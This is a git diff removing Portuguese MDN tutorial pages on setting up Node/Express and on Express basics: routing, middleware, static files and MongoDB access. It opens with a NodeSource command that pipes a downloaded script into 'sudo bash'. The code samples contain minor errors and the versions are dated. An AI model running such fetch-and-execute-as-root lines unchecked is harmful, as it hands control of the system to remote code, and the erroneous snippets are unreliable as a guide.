curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash -
-sudo apt-get install -y nodejs
-
- -
-

Aviso: Don't install directly from the normal Ubuntu repositories because they contain very old versions of node.

-
- -
    -
- -

Testar a instalação do seu Nodejs e NPM

- -

The easiest way to test that node is installed is to run the "version" command in your terminal/command prompt and check that a version string is returned:

- -
>node -v
-v8.11.3
- -

The Nodejs package manager NPM should also have been installed, and can be tested in the same way:

- -
>npm -v
-5.8.0
- -

As a slightly more exciting test let's create a very basic "pure node" server that simply prints out "Hello World" in the browser when you visit the correct URL in your browser:

- -
    -
  1. Copy the following text into a file named hellonode.js. This uses pure Node features (nothing from Express) and some ES6 syntax: - -
    //Load HTTP module
    -const http = require("http");
    -const hostname = '127.0.0.1';
    -const port = 3000;
    -
    -//Create HTTP server and listen on port 3000 for requests
    -const server = http.createServer((req, res) => {
    -
    -  //Set the response HTTP header with HTTP status and Content type
    -  res.statusCode = 200;
    -  res.setHeader('Content-Type', 'text/plain');
    -  res.end('Hello World\n');
    -});
    -
    -//listen for request on port 3000, and as a callback function have the port listened on logged
    -server.listen(port, hostname, () => {
    -  console.log(`Server running at http://${hostname}:${port}/`);
    -});
    -
    -
    - -

    The code imports the "http" module and uses it to create a server (createServer()) that listens for HTTP requests on port 3000. The script then prints a message to the console about what browser URL you can use to test the server. The createServer() function takes as an argument a callback function that will be invoked when an HTTP request is received — this simply returns a response with an HTTP status code of 200 ("OK") and the plain text "Hello World".

    - -
    -

    Nota:  Don't worry if you don't understand exactly what this code is doing yet! We'll explain our code in greater detail once we start using Express!

    -
    -
  2. -
  3. Start the server by navigating into the same directory as your hellonode.js file in your command prompt, and calling node along with the script name, like so: -
    >node hellonode.js
    -Server running at http://127.0.0.1:3000/
    -
    -
  4. -
  5. Navigate to the URL http://127.0.0.1:3000 . If everything is working, the browser should simply display the string "Hello World".
  6. -
- -

Utilização de NPM

- -

Next to Node itself, NPM is the most important tool for working with Node applications. NPM is used to fetch any packages (JavaScript libraries) that an application needs for development, testing, and/or production, and may also be used to run tests and tools used in the development process. 

- -
-

Nota: From Node's perspective, Express is just another package that you need to install using NPM and then require in your own code.

-
- -

You can manually use NPM to separately fetch each needed package. Typically we instead manage dependencies using a plain-text definition file named package.json. This file lists all the dependencies for a specific JavaScript "package", including the package's name, version, description, initial file to execute, production dependencies, development dependencies, versions of Node it can work with, etc. The package.json file should contain everything NPM needs to fetch and run your application (if you were writing a reusable library you could use this definition to upload your package to the npm respository and make it available for other users).

- -

Adicionar dependências

- -

The following steps show how you can use NPM to download a package, save it into the project dependencies, and then require it in a Node application.

- -
-

Nota: Here we show the instructions to fetch and install the Express package. Later on we'll show how this package, and others, are already specified for us using the Express Application Generator. This section is provided because it is useful to understand how NPM works and what is being created by the application generator.

-
- -
    -
  1. First create a directory for your new application and navigate into it: -
    mkdir myapp
    -cd myapp
    -
  2. -
  3. Use the npm init command to create a package.json file for your application. This command prompts you for a number of things, including the name and version of your application and the name of the initial entry point file (by default this is index.js). For now, just accept the defaults: -
    npm init
    - -

    If you display the package.json file (cat package.json), you will see the defaults that you accepted, ending with the license.

    - -
    {
    -  "name": "myapp",
    -  "version": "1.0.0",
    -  "description": "",
    -  "main": "index.js",
    -  "scripts": {
    -    "test": "echo \"Error: no test specified\" && exit 1"
    -  },
    -  "author": "",
    -  "license": "ISC"
    -}
    -
    -
  4. -
  5. Now install Express in the myapp directory and save it in the dependencies list of your package.json file
  6. -
  7. -
    npm install express --save
    - -

    The dependencies section of your package.json will now appear at the end of the package.json file and will include Express.

    - -
    {
    -  "name": "myapp",
    -  "version": "1.0.0",
    -  "description": "",
    -  "main": "index.js",
    -  "scripts": {
    -    "test": "echo \"Error: no test specified\" && exit 1"
    -  },
    -  "author": "",
    -  "license": "ISC",
    -  "dependencies": {
    -    "express": "^4.16.2"
    -  }
    -}
    -
    -
  8. -
  9. To use the library you call the require() function as shown below. -
    const express = require('express')
    -const app = express();
    -
    -app.get('/', (req, res) => {
    -  res.send('Hello World!')
    -});
    -
    -app.listen(8000, () => {
    -  console.log('Example app listening on port 8000!')
    -});
    -
    - -

    This code shows a minimal "HelloWorld" Express web application. This imports the "express" module and uses it to create a server (app) that listens for HTTP requests on port 8000 and prints a message to the console explaining what browser URL you can use to test the server. The app.get() function only responds to HTTP GET requests with the specified URL path ('/'), in this case by calling a function to send our Hello World! message. 
    -
    - Create a file named index.js in the root of the "myapp" application directory and give it the contents shown above.

    -
  10. -
  11. You can start the server by calling node with the script in your command prompt: -
    >node index.js
    -Example app listening on port 8000
    -
    -
  12. -
  13. Navigate to the URL (http://127.0.0.1:8000/). If everything is working, the browser should simply display the string "Hello World!".
  14. -
- -

Dependências de desenvolvimento

- -

If a dependency is only used during development, you should instead save it as a "development dependency" (so that your package users don't have to install it in production). For example, to use the popular JavaScript Linting tool eslint you would call NPM as shown:

- -
npm install eslint --save-dev
- -

The following entry would then be added to your application's package.json:

- -
  "devDependencies": {
-    "eslint": "^4.12.1"
-  }
-
- -
-

Nota: "Linters" are tools that perform static analysis on software in order to recognise and report adherence/non-adherance to some set of coding best practice.

-
- -

Execução de tarefas

- -

In addition to defining and fetching dependencies you can also define named scripts in your package.json files and call NPM to execute them with the run-script command. This approach is commonly used to automate running tests and parts of the development or build toolchain (e.g., running tools to minify JavaScript, shrink images, LINT/analyse your code, etc).

- -
-

Nota: Task runners like Gulp and Grunt can also be used to run tests and other external tools.

-
- -

For example, to define a script to run the eslint development dependency that we specified in the previous section we might add the following script block to our package.json file (assuming that our application source is in a folder /src/js):

- -
"scripts": {
-  ...
-  "lint": "eslint src/js"
-  ...
-}
-
- -

To explain a little further, eslint src/js is a command that we could enter in our terminal/command line to run eslint on JavaScript files contained in the src/js directory inside our app directory. Including the above inside our app's package.json file provides a shortcut for this command — lint.

- -

We would then be able to run eslint using NPM by calling:

- -
npm run-script lint
-# OR (using the alias)
-npm run lint
-
- -

This example may not look any shorter than the original command, but you can include much bigger commands inside your npm scripts, including chains of multiple commands. You could identify a single npm script that runs all your tests at once.

- -

Instalar o Gerador de Aplicação Express

- -

The Express Application Generator tool generates an Express application "skeleton". Install the generator using NPM as shown (the -g flag installs the tool globally so that you can call it from anywhere):

- -
npm install express-generator -g
- -

To create an Express app named "helloworld" with the default settings, navigate to where you want to create it and run the app as shown:

- -
express helloworld
- -
-

Nota: You can also specify the template library to use and a number of other settings. Use the help command to see all the options:

- -
express --help
-
- -

 

-
- -

NPM will create the new Express app in a sub folder of your current location, displaying build progress on the console. On completion, the tool will display the commands you need to enter to install the Node dependencies and start the app.

- -
-

The new app will have a package.json file in its root directory. You can open this to see what dependencies are installed, including Express and the template library Jade:

- -
{
-  "name": "helloworld",
-  "version": "0.0.0",
-  "private": true,
-  "scripts": {
-    "start": "node ./bin/www"
-  },
-  "dependencies": {
-    "body-parser": "~1.18.2",
-    "cookie-parser": "~1.4.3",
-    "debug": "~2.6.9",
-    "express": "~4.15.5",
-    "jade": "~1.11.0",
-    "morgan": "~1.9.0",
-    "serve-favicon": "~2.4.5"
-  }
-}
- -

 

-
- -

Install all the dependencies for the helloworld app using NPM as shown:

- -
cd helloworld
-npm install
-
- -

Then run the app (the commands are slightly different for Windows and Linux/macOS), as shown below:

- -
# Run the helloworld on Windows
-SET DEBUG=helloworld:* & npm start
-
-# Run helloworld on Linux/macOS
-DEBUG=helloworld:* npm start
-
- -

The DEBUG command creates useful logging, resulting in an output like that shown below.

- -
>SET DEBUG=helloworld:* & npm start
-
-> helloworld@0.0.0 start D:\Github\expresstests\helloworld
-> node ./bin/www
-
-  helloworld:server Listening on port 3000 +0ms
- -

Open a browser and navigate to http://127.0.0.1:3000/ to see the default Express welcome page.

- -

Express - Generated App Default Screen

- -

We'll talk more about the generated app when we get to the article on generating a skeleton application.

- - - -

Resumo

- -

You now have a Node development environment up and running on your computer that can be used for creating Express web applications. You've also seen how NPM can be used to import Express into an application, and also how you can create applications using the Express Application Generator tool and then run them.

- -

In the next article we start working through a tutorial to build a complete web application using this environment and associated tools.

- -

Consulte também

- - - -

{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}

- -

 

- -

Neste módulop

- - - -

 

diff --git a/files/pt-pt/learn/no-servidor/express_nodejs/index.html b/files/pt-pt/learn/no-servidor/express_nodejs/index.html deleted file mode 100644 index 1c7e7413ec..0000000000 --- a/files/pt-pt/learn/no-servidor/express_nodejs/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Framework da Web Express (Node.js/JavaScript) -slug: Learn/No-servidor/Express_Nodejs -tags: - - Aprender - - CodingScripting - - Express - - Express.js - - Introdução - - JavaScript - - Node - - Nodo - - Principiante - - Programação no lado do servidor - - node.js -translation_of: Learn/Server-side/Express_Nodejs ---- -
{{LearnSidebar}}
- -

Express é uma das frameworks mais populares, escrita em JavaScript e hospedada dentro do próprio ambiente de execução node.js. Este módulo explica alguns dos benefícios chave desta framework, como configurar o seu ambiente de desenvolvimento e como realizar tarefas comuns de desenvolvimento da web e tarefas de implementação.

- -

Pré-requisitos

- -

Antes de iniciar este módulo, você precisará entender o que são os programas da web e do lado do servidor, idealmente lendo os tópicos no nosso módulo Os primeiros passos de programação do sites da Web no lado do servidor. Um conhecimento geral de conceitos de programação e JavaScript é altamente recomendado, mas não essencial para compreender os conceitos fundamentais.

- -
-

Nota: This website has many useful resources for learning JavaScript in the context of client-side development: JavaScriptJavaScript Guide, JavaScript BasicsJavaScript (learning). The core JavaScript language and concepts are the same for server-side development on Node.js and this material will be relevant. Node.js offers additional APIs for supporting functionality that is useful in browserless environments, e.g. to create HTTP servers and access the file system, but does not support JavaScript APIs for working with the browser and DOM.

- -

This guide will provide some information about working with Node.js and Express, and there are numerous other excellent resources on the Internet and in books — some of these linked from How do I get started with Node.js (StackOverflow) and What are the best resources for learning Node.js? (Quora).

-
- -

Guias

- -
-
Introdução a Express/Node
-
In this first Express article we answer the questions "What is Node?" and "What is Express?" and give you an overview of what makes the Express web framework special. We'll outline the main features, and show you some of the main building blocks of an Express application (although at this point you won't yet have a development environment in which to test it).
-
Configurar um ambiente de desenvolvimento Node (Express)
-
Now that you know what Express is for, we'll show you how to set up and test a Node/Express development environment on Windows, Linux (Ubuntu), and Mac OS X. Whatever common operating system you are using, this article should give you what you need to be able to start developing Express apps.
-
Tutorial de Express: O Website - Biblioteca Local
-
The first article in our practical tutorial series explains what you'll learn, and provides an overview of the "local library" example website we'll be working through and evolving in subsequent articles.
-
Tutorial de Express Parte 2: Criar um esqueleto de um website
-
This article shows how you can create a "skeleton" website project, which you can then go on to populate with site-specific routes, templates/views, and databases.
-
Tutorial de Express Parte 3: Usar uma Base de Dados (com Mongoose)
-
This article briefly introduces databases for Node/Express. It then goes on to show how we can use Mongoose to provide database access for the LocalLibrary website. It explains how object schema and models are declared, the main field types, and basic validation. It also briefly shows a few of the main ways you can access model data.
-
Tutorial de Express Parte 4: Rotas e controladores
-
In this tutorial we'll set up routes (URL handling code) with "dummy" handler functions for all the resource endpoints that we'll eventually need in the LocalLibrary website. On completion, we'll have a modular structure for our route handling code, that we can extend with real handler functions in the following articles. We'll also have a really good understanding of how to create modular routes using Express.
-
Tutorial de Express Parte 5: Exibir dados da biblioteca
-
We're now ready to add the pages that display the LocalLibrary website books and other data. The pages will include a home page that shows how many records we have of each model type, and list and detail pages for all of our models. Along the way we'll gain practical experience in getting records from the database, and using templates.
-
Tutorial de Express Parte 6: Trabalhar com formulários
-
In this tutorial we'll show you how to work with HTML Forms in Express, using Pug, and in particular how to write forms to create, update, and delete documents from the database.
-
Tutorial de Express Parte 7: Enviar para produção
-
Now you've created an awesome LocalLibrary website, you're going to want to install it on a public web server so that it can be accessed by library staff and members over the Internet. This article provides an overview of how you might go about finding a host to deploy your website, and what you need to do in order to get your site ready for production.
-
- -

Consulte também

- -
-
Installing LocalLibrary on PWS/Cloud Foundry
-
This article provides a practical demonstration of how to install LocalLibrary on the Pivotal Web Services PaaS cloud — this is a full-featured, open source alternative to Heroku, the PaaS cloud service used in Part 7 of the tutorial, listed above. PWS/Cloud Foundry is definitely worth checking out if you are looking for an alternative to Heroku (or another PaaS cloud service), or simply feel like trying something different.
-
- -

Adicionar mais tutoriais

- -
-

That's the end of the tutorial articles (for now). If you would like to extend it, other interesting topics to cover are:

- - - -

And of course it would be excellent to have an assessment task!

-
diff --git a/files/pt-pt/learn/no-servidor/express_nodejs/introduction/index.html b/files/pt-pt/learn/no-servidor/express_nodejs/introduction/index.html deleted file mode 100644 index c39acc6f1d..0000000000 --- a/files/pt-pt/learn/no-servidor/express_nodejs/introduction/index.html +++ /dev/null @@ -1,539 +0,0 @@ ---- -title: Introdução a Express/Node -slug: Learn/No-servidor/Express_Nodejs/Introduction -tags: - - Aprender - - CodingScripting - - Express - - Nodo - - Principiante - - lado do servidor - - nodejs -translation_of: Learn/Server-side/Express_Nodejs/Introduction ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/No-servidor/Express_Nodejs", "Learn/Server-side/Express_Nodejs")}}
- -

In this first Express article we answer the questions "What is Node?" (answer: a library) and "What is Express?", and give you an overview of what makes the Express web framework special. We'll outline the main features, and show you some of the main building blocks of an Express application (although at this point you won't yet have a development environment in which to test it).

- - - - - - - - - - - - -
Pré-requisitos:Basic computer literacy. A general understanding of server-side website programming, and in particular the mechanics of client-server interactions in websites.
Objetivo:To gain familiarity with what Express is and how it fits in with Node, what functionality it provides, and the main building blocks of an Express application.
- -

Introdução a Node

- -

Node (or more formally Node.js) is an open-source, cross-platform, runtime environment that allows developers to create all kinds of server-side tools and applications in JavaScript. The runtime is intended for use outside of a browser context (i.e. running directly on a computer or server OS). As such, the environment omits browser-specific JavaScript APIs and adds support for more traditional OS APIs including HTTP and file system libraries.

- -

From a web server development perspective Node has a number of benefits:

- - - -

You can use Node.js to create a simple web server using the Node HTTP package.

- -

Hello Node.js

- -

The following example creates a web server that listens for any kind of HTTP request on the URL http://127.0.0.1:8000/ — when a request is received, the script will respond with the string: "Hello World". If you have already installed node, you can follow these steps to try out the example:

- -
    -
  1. Open Terminal (on Windows, open the command line utility)
  2. -
  3. Create the folder where you want to save the program, for example, "test-node" and then enter it by entering the following command into your terminal:
  4. -
- -
cd test-node
- -
    -
  1. Using your favorite text editor, create a file called "hello.js" and paste the following code into it:
  2. -
- -
// Load HTTP module
-var http = require("http");
-
-// Create HTTP server and listen on port 8000 for requests
-http.createServer(function(request, response) {
-
-   // Set the response HTTP header with HTTP status and Content type
-   response.writeHead(200, {'Content-Type': 'text/plain'});
-
-   // Send the response body "Hello World"
-   response.end('Hello World\n');
-}).listen(8000);
-
-// Print URL for accessing server
-console.log('Server running at http://127.0.0.1:8000/');
- -
    -
  1. Save the file in the folder you created above.
  2. -
  3. Go back to the terminal and type the following command:
  4. -
- -
node "hello.js"
- -

Finally, navigate to "http://localhost:8000" in your web browser; you should see the text "Hello World" in the upper left of an otherwise empty web page.

- -

Estruturas da Web (Frameworks)

- -

Other common web-development tasks are not directly supported by Node itself. If you want to add specific handling for different HTTP verbs (e.g. GET, POST, DELETE, etc.), separately handle requests at different URL paths ("routes"), serve static files, or use templates to dynamically create the response, then you will need to write the code yourself, or you can avoid reinventing the wheel and use a web framework!

- -

Introdução a Express

- -

Express is the most popular Node web framework, and is the underlying library for a number of other popular Node web frameworks. It provides mechanisms to:

- - - -

While Express itself is fairly minimalist, developers have created compatible middleware packages to address almost any web development problem. There are libraries to work with cookies, sessions, user logins, URL parameters, POST data, security headers, and many more. You can find a list of middleware packages maintained by the Express team at Express Middleware (along with a list of some popular 3rd party packages).

- -
-

Nota: This flexibility is a double edged sword. There are middleware packages to address almost any problem or requirement, but working out the right packages to use can sometimes be a challenge. There is also no "right way" to structure an application, and many examples you might find on the Internet are not optimal, or only show a small part of what you need to do in order to develop a web application.

-
- -

De onde veio o Node e o Express?

- -

Node was initially released, for Linux only, in 2009. The NPM package manager was released in 2010, and native Windows support was added in 2012. The current LTS release is Node v8.11.2 while the latest release is Node 10.1.0. This is a tiny snapshot of a rich history; delve into Wikipedia if you want to know more.

- -

Express was initially released in November 2010 and is currently on version 4.16 of the API. You can check out the changelog for information about changes in the current release, and GitHub for more detailed historical release notes.

- -

Quão populares são o Node e Express?

- -

The popularity of a web framework is important because it is an indicator of whether it will continue to be maintained, and what resources are likely to be available in terms of documentation, add-on libraries, and technical support.

- -

There isn't any readily-available and definitive measurement of the popularity of server-side frameworks (although sites like Hot Frameworks attempt to assess popularity using mechanisms like counting the number of GitHub projects and StackOverflow questions for each platform). A better question is whether Node and Express are "popular enough" to avoid the problems of unpopular platforms. Are they continuing to evolve? Can you get help if you need it? Is there an opportunity for you to get paid work if you learn Express?

- -

Based on the number of high profile companies that use Express, the number of people contributing to the codebase, and the number of people providing both free and paid for support, then yes, Express is a popular framework!

- -

Express é opinativo?

- -

Web frameworks often refer to themselves as "opinionated" or "unopinionated".

- -

Opinionated frameworks are those with opinions about the "right way" to handle any particular task. They often support rapid development in a particular domain (solving problems of a particular type) because the right way to do anything is usually well-understood and well-documented. However they can be less flexible at solving problems outside their main domain, and tend to offer fewer choices for what components and approaches they can use.

- -

Unopinionated frameworks, by contrast, have far fewer restrictions on the best way to glue components together to achieve a goal, or even what components should be used. They make it easier for developers to use the most suitable tools to complete a particular task, albeit at the cost that you need to find those components yourself.
-
- Express is unopinionated. You can insert almost any compatible middleware you like into the request handling chain, in almost any order you like. You can structure the app in one file or multiple files, and using any directory structure. You may sometimes feel that you have too many choices!

- -

Como é que o código de Express se parece?

- -

In a traditional data-driven website, a web application waits for HTTP requests from the web browser (or other client). When a request is received the application works out what action is needed based on the URL pattern and possibly associated information contained in POST data or GET data. Depending on what is required it may then read or write information from a database or perform other tasks required to satisfy the request. The application will then return a response to the web browser, often dynamically creating an HTML page for the browser to display by inserting the retrieved data into placeholders in an HTML template.

- -

Express provides methods to specify what function is called for a particular HTTP verb (GET, POST, SET, etc.) and URL pattern ("Route"), and methods to specify what template ("view") engine is used, where template files are located, and what template to use to render a response. You can use Express middleware to add support for cookies, sessions, and users, getting POST/GET parameters, etc. You can use any database mechanism supported by Node (Express does not define any database-related behaviour).

- -

The following sections explain some of the common things you'll see when working with Express and Node code.

- -

Helloworld Express

- -

First lets consider the standard Express Hello World example (we discuss each part of this below, and in the following sections).

- -
-

Dica: If you have Node and Express already installed (or if you install them as shown in the next article), you can save this code in a text file called app.js and run it in a bash command prompt by calling:   

- -

./node ./app.js

-
- -
var express = require('express');
-var app = express();
-
-app.get('/', function(req, res) {
-  res.send('Hello World!');
-});
-
-app.listen(3000, function() {
-  console.log('Example app listening on port 3000!');
-});
-
- -

The first two lines require() (import) the express module and create an Express application. This object, which is traditionally named app, has methods for routing HTTP requests, configuring middleware, rendering HTML views, registering a template engine, and modifying application settings that control how the application behaves (e.g. the environment mode, whether route definitions are case sensitive, etc.)

- -

The middle part of the code (the three lines starting with app.get) shows a route definition. The app.get() method specifies a callback function that will be invoked whenever there is an HTTP GET request with a path ('/') relative to the site root. The callback function takes a request and a response object as arguments, and simply calls send() on the response to return the string "Hello World!"

- -

The final block starts up the server on port '3000' and prints a log comment to the console. With the server running, you could go to localhost:3000 in your browser to see the example response returned.

- -

Importação e criação de módulos

- -

A module is a JavaScript library/file that you can import into other code using Node's require() function. Express itself is a module, as are the middleware and database libraries that we use in our Express applications.

- -

The code below shows how we import a module by name, using the Express framework as an example. First we invoke the require() function, specifying the name of the module as a string ('express'), and calling the returned object to create an Express application. We can then access the properties and functions of the application object.

- -
var express = require('express');
-var app = express();
-
- -

You can also create your own modules that can be imported in the same way.

- -
-

Dica: You will want to create your own modules, because this allows you to organise your code into managable parts — a monolithic single-file application is hard to understand and maintain. Using modules also helps you manage your namespace, because only the variables you explicitly export are imported when you use a module.

-
- -

To make objects available outside of a module you just need to assign them to the exports object. For example, the square.js module below is a file that exports area() and perimeter() methods:

- -
exports.area = function(width) { return width * width; };
-exports.perimeter = function(width) { return 4 * width; };
-
- -

We can import this module using require(), and then call the exported method(s) as shown:

- -
var square = require('./square'); // Here we require() the name of the file without the (optional) .js file extension
-console.log('The area of a square with a width of 4 is ' + square.area(4));
- -
-

Nota: You can also specify an absolute path to the module (or a name, as we did initially).

-
- -

If you want to export a complete object in one assignment instead of building it one property at a time, assign it to module.exports as shown below (you can also do this to make the root of the exports object a constructor or other function):

- -
module.exports = {
-  area: function(width) {
-    return width * width;
-  },
-
-  perimeter: function(width) {
-    return 4 * width;
-  }
-};
-
- -

For a lot more information about modules see Modules (Node API docs).

- -

Utilizar APIs assíncronas

- -

JavaScript code frequently uses asynchronous rather than synchronous APIs for operations that may take some time to complete. A synchronous API is one in which each operation must complete before the next operation can start. For example, the following log functions are synchronous, and will print the text to the console in order (First, Second).

- -
console.log('First');
-console.log('Second');
-
- -

By contrast, an asynchronous API is one in which the API will start an operation and immediately return (before the operation is complete). Once the operation finishes, the API will use some mechanism to perform additional operations. For example, the code below will print out "Second, First" because even though setTimeout() method is called first, and returns immediately, the operation doesn't complete for several seconds.

- -
setTimeout(function() {
-   console.log('First');
-   }, 3000);
-console.log('Second');
-
- -

Using non-blocking asynchronous APIs is even more important on Node than in the browser, because Node is a single threaded event-driven execution environment. "single threaded" means that all requests to the server are run on the same thread (rather than being spawned off into separate processes). This model is extremely efficient in terms of speed and server resources, but it does mean that if any of your functions call synchronous methods that take a long time to complete, they will block not just the current request, but every other request being handled by your web application.

- -

There are a number of ways for an asynchronous API to notify your application that it has completed. The most common way is to register a callback function when you invoke the asynchronous API, that will be called back when the operation completes. This is the approach used above.

- -
-

Dica: Using callbacks can be quite "messy" if you have a sequence of dependent asynchronous operations that must be performed in order, because this results in multiple levels of nested callbacks. This problem is commonly known as "callback hell". This problem can be reduced by good coding practices (see http://callbackhell.com/), using a module like async, or even moving to ES6 features like Promises.

-
- -
-

Nota: A common convention for Node and Express is to use error-first callbacks. In this convention the first value in your callback functions is an error value, while subsequent arguments contain success data. There is a good explanation of why this approach is useful in this blog: The Node.js Way - Understanding Error-First Callbacks (fredkschott.com).

-
- -

Criação de manipuladores de rota

- -

In our Hello World Express example (see above), we defined a (callback) route handler function for HTTP GET requests to the site root ('/').

- -
app.get('/', function(req, res) {
-  res.send('Hello World!');
-});
-
- -

The callback function takes a request and a response object as arguments. In this case the method simply calls send() on the response to return the string "Hello World!" There are a number of other response methods for ending the request/response cycle, for example you could call res.json() to send a JSON response or res.sendFile() to send a file.

- -
-

Dica de JavaScript: You can use any argument names you like in the callback functions; when the callback is invoked the first argument will always be the request and the second will always be the response. It makes sense to name them such that you can identify the object you're working with in the body of the callback.

-
- -

The Express application object also provides methods to define route handlers for all the other HTTP verbs, which are mostly used in exactly the same way: post(), put(), delete(), options(), trace(), copy(), lock(), mkcol(), move(), purge(), propfind(), proppatch(), unlock(), report(), mkactivity(), checkout(), merge(), m-search(), notify(), subscribe(), unsubscribe(), patch(), search(), and connect().

- -

There is a special routing method, app.all(), which will be called in response to any HTTP method. This is used for loading middleware functions at a particular path for all request methods. The following example (from the Express documentation) shows a handler that will be executed for requests to /secret irrespective of the HTTP verb used (provided it is supported by the http module).

- -
app.all('/secret', function(req, res, next) {
-  console.log('Accessing the secret section ...');
-  next(); // pass control to the next handler
-});
- -

Routes allow you to match particular patterns of characters in a URL, and extract some values from the URL and pass them as parameters to the route handler (as attributes of the request object passed as a parameter).

- -

Often it is useful to group route handlers for a particular part of a site together and access them using a common route-prefix (e.g. a site with a Wiki might have all wiki-related routes in one file and have them accessed with a route prefix of /wiki/). In Express this is achieved by using the express.Router object. For example, we can create our wiki route in a module named wiki.js, and then export the Router object, as shown below:

- -
// wiki.js - Wiki route module
-
-var express = require('express');
-var router = express.Router();
-
-// Home page route
-router.get('/', function(req, res) {
-  res.send('Wiki home page');
-});
-
-// About page route
-router.get('/about', function(req, res) {
-  res.send('About this wiki');
-});
-
-module.exports = router;
-
- -
-

Note: Adding routes to the Router object is just like adding routes to the app object (as shown previously).

-
- -

To use the router in our main app file we would then require() the route module (wiki.js), then call use() on the Express application to add the Router to the middleware handling path. The two routes will then be accessible from /wiki/ and /wiki/about/.

- -
var wiki = require('./wiki.js');
-// ...
-app.use('/wiki', wiki);
- -

We'll show you a lot more about working with routes, and in particular about using the Router, later on in the linked section Routes and controllers .

- -

Utilização de middleware

- -

Middleware is used extensively in Express apps, for tasks from serving static files to error handling, to compressing HTTP responses. Whereas route functions end the HTTP request-response cycle by returning some response to the HTTP client, middleware functions typically perform some operation on the request or response and then call the next function in the "stack", which might be more middleware or a route handler. The order in which middleware is called is up to the app developer.

- -
-

Nota: The middleware can perform any operation, execute any code, make changes to the request and response object, and it can also end the request-response cycle. If it does not end the cycle then it must call next() to pass control to the next middleware function (or the request will be left hanging).

-
- -

Most apps will use third-party middleware in order to simplify common web development tasks like working with cookies, sessions, user authentication, accessing request POST and JSON data, logging, etc. You can find a list of middleware packages maintained by the Express team (which also includes other popular 3rd party packages). Other Express packages are available on the NPM package manager.

- -

To use third party middleware you first need to install it into your app using NPM. For example, to install the morgan HTTP request logger middleware, you'd do this:

- -
$ npm install morgan
-
- -

You could then call use() on the Express application object to add the middleware to the stack:

- -
var express = require('express');
-var logger = require('morgan');
-var app = express();
-app.use(logger('dev'));
-...
- -
-

Nota: Middleware and routing functions are called in the order that they are declared. For some middleware the order is important (for example if session middleware depends on cookie middleware, then the cookie handler must be added first). It is almost always the case that middleware is called before setting routes, or your route handlers will not have access to functionality added by your middleware.

-
- -

You can write your own middleware functions, and you are likely to have to do so (if only to create error handling code). The only difference between a middleware function and a route handler callback is that middleware functions have a third argument next, which middleware functions are expected to call if they are not that which completes the request cycle (when the middleware function is called, this contains the next function that must be called).

- -

You can add a middleware function to the processing chain with either app.use() or app.add(), depending on whether you want to apply the middleware to all responses or to responses with a particular HTTP verb (GET, POST, etc). You specify routes the same in both cases, though the route is optional when calling app.use().

- -

The example below shows how you can add the middleware function using both methods, and with/without a route.

- -
var express = require('express');
-var app = express();
-
-// An example middleware function
-var a_middleware_function = function(req, res, next) {
-  // ... perform some operations
-  next(); // Call next() so Express will call the next middleware function in the chain.
-}
-
-// Function added with use() for all routes and verbs
-app.use(a_middleware_function);
-
-// Function added with use() for a specific route
-app.use('/someroute', a_middleware_function);
-
-// A middleware function added for a specific HTTP verb and route
-app.get('/', a_middleware_function);
-
-app.listen(3000);
- -
-

Dica de JavaScript: Above we declare the middleware function separately and then set it as the callback. In our previous route handler function we declared the callback function when it was used. In JavaScript, either approach is valid.

-
- -

The Express documentation has a lot more excellent documentation about using and writing Express middleware.

- -

Servindo ficheiros estásticos

- -

You can use the express.static middleware to serve static files, including your images, CSS and JavaScript (static() is the only middleware function that is actually part of Express). For example, you would use the line below to serve images, CSS files, and JavaScript files from a directory named 'public' at the same level as where you call node:

- -
app.use(express.static('public'));
-
- -

Any files in the public directory are served by adding their filename (relative to the base "public" directory) to the base URL. So for example:

- -
http://localhost:3000/images/dog.jpg
-http://localhost:3000/css/style.css
-http://localhost:3000/js/app.js
-http://localhost:3000/about.html
-
- -

You can call static() multiple times to serve multiple directories. If a file cannot be found by one middleware function then it will simply be passed on to the subsequent middleware (the order that middleware is called is based on your declaration order).

- -
app.use(express.static('public'));
-app.use(express.static('media'));
-
- -

You can also create a virtual prefix for your static URLs, rather than having the files added to the base URL. For example, here we specify a mount path so that the files are loaded with the prefix "/media":

- -
app.use('/media', express.static('public'));
-
- -

Now, you can load the files that are in the public directory from the /media path prefix.

- -
http://localhost:3000/media/images/dog.jpg
-http://localhost:3000/media/video/cat.mp4
-http://localhost:3000/media/cry.mp3
-
- -

For more information, see Serving static files in Express.

- -

Erros de manipulação

- -

Errors are handled by one or more special middleware functions that have four arguments, instead of the usual three: (err, req, res, next). For example:

- -
app.use(function(err, req, res, next) {
-  console.error(err.stack);
-  res.status(500).send('Something broke!');
-});
-
- -

These can return any content required, but must be called after all other app.use() and routes calls so that they are the last middleware in the request handling process!

- -

Express comes with a built-in error handler, which takes care of any remaining errors that might be encountered in the app. This default error-handling middleware function is added at the end of the middleware function stack. If you pass an error to next() and you do not handle it in an error handler, it will be handled by the built-in error handler; the error will be written to the client with the stack trace.

- -
-

Nota: The stack trace is not included in the production environment. To run it in production mode you need to set the the environment variable NODE_ENV to 'production'.

-
- -
-

Nota: HTTP404 and other "error" status codes are not treated as errors. If you want to handle these, you can add a middleware function to do so. For more information see the FAQ.

-
- -

For more information see Error handling (Express docs).

- -

Utilização de bases de dados

- -

Express apps can use any database mechanism supported by Node (Express itself doesn't define any specific additional behaviour/requirements for database management). There are many options, including PostgreSQL, MySQL, Redis, SQLite, MongoDB, etc.

- -

In order to use these you have to first install the database driver using NPM. For example, to install the driver for the popular NoSQL MongoDB you would use the command:

- -
$ npm install mongodb
-
- -

The database itself can be installed locally or on a cloud server. In your Express code you require the driver, connect to the database, and then perform create, read, update, and delete (CRUD) operations. The example below (from the Express documentation) shows how you can find "mammal" records using MongoDB.

- -
//this works with older versions of  mongodb version ~ 2.2.33
-var MongoClient = require('mongodb').MongoClient;
-
-MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) {
-  if (err) throw err;
-
-  db.collection('mammals').find().toArray(function (err, result) {
-    if (err) throw err;
-
-    console.log(result);
-  });
-});
-
-
-//for mongodb version 3.0 and up
-let MongoClient = require('mongodb').MongoClient;
-MongoClient.connect('mongodb://localhost:27017/animals', function(err, client){
-   if(err) throw err;
-
-   let db = client.db('animals');
-   db.collection('mammals').find().toArray(function(err, result){
-     if(err) throw err;
-     console.log(result);
-     client.close();
-   });
-}
-
- -

 

- -

 

- -

 

- -

